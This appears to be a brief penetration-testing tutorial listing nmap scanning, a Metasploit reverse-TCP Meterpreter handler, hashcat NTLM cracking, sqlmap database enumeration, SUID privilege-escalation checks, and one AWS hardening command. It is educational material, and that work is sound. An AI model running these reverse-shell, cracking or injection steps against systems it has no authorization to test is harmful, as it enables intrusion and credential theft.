Essential Cybersecurity Commands and Techniques for Penetration Testing

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Introduction

Penetration testing is a critical skill in cybersecurity, enabling professionals to identify vulnerabilities before malicious actors exploit them. This article covers essential commands, tools, and techniques used by penetration testers, CTF players, and security trainers to strengthen systems and networks.

Learning Objectives

  • Master key Linux and Windows commands for penetration testing.
  • Understand how to exploit and mitigate common vulnerabilities.
  • Learn practical techniques for API security and cloud hardening.

You Should Know

1. Network Scanning with Nmap

Command:

nmap -sV -A -T4 target_IP

Step-by-Step Guide:

  • -sV: Enables version detection.
  • -A: Aggressive scan (OS detection, script scanning).
  • -T4: Sets timing template for faster scanning.
    This command helps identify open ports, services, and potential vulnerabilities on a target system.

2. Exploiting Vulnerabilities with Metasploit

Command:

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST your_IP
set LPORT 4444
exploit

Step-by-Step Guide:

  • Launches Metasploit’s interactive console.
  • Configures a reverse TCP payload for Windows targets.
  • Executes the exploit to gain a Meterpreter session.

3. Password Cracking with Hashcat

Command:

hashcat -m 1000 hashes.txt rockyou.txt

Step-by-Step Guide:

  • -m 1000: Specifies NTLM hash cracking.
  • hashes.txt: File containing extracted password hashes.
  • rockyou.txt: Common wordlist for brute-forcing.

4. Web Application Testing with SQL Injection

Command (SQLi Detection):

sqlmap -u "http://example.com/page?id=1" --dbs

Step-by-Step Guide:

  • Tests for SQL injection vulnerabilities.
  • --dbs: Lists available databases if successful.

5. Cloud Hardening with AWS CLI

Command (Disable Public S3 Buckets):

aws s3api put-public-access-block --bucket my-bucket --public-access-block-configuration "BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true"

Step-by-Step Guide:

  • Prevents unauthorized public access to AWS S3 buckets.

6. API Security Testing with Postman

Command (JWT Token Tampering):

curl -H "Authorization: Bearer <JWT_TOKEN>" http://api.example.com/data

Step-by-Step Guide:

  • Tests API endpoints for weak JWT validation.

7. Linux Privilege Escalation

Command (SUID Exploit Check):

find / -perm -4000 2>/dev/null

Step-by-Step Guide:

  • Lists SUID binaries that may be exploitable for root access.

What Undercode Say

  • Key Takeaway 1: Automation tools like Nmap and Metasploit streamline vulnerability assessment.
  • Key Takeaway 2: Weak configurations in cloud and APIs are prime attack vectors.

Analysis:

As cyber threats evolve, penetration testers must stay ahead by mastering both offensive and defensive techniques. The rise of AI-driven attacks will require adaptive security measures, making continuous training and hands-on practice essential.

Prediction

Future penetration testing will increasingly rely on AI for vulnerability discovery, but human expertise will remain critical for interpreting results and securing complex systems. Ethical hacking certifications and CTF competitions will grow in importance as training benchmarks.

IT/Security Reporter URL:

Reported By: Anass Bouacha – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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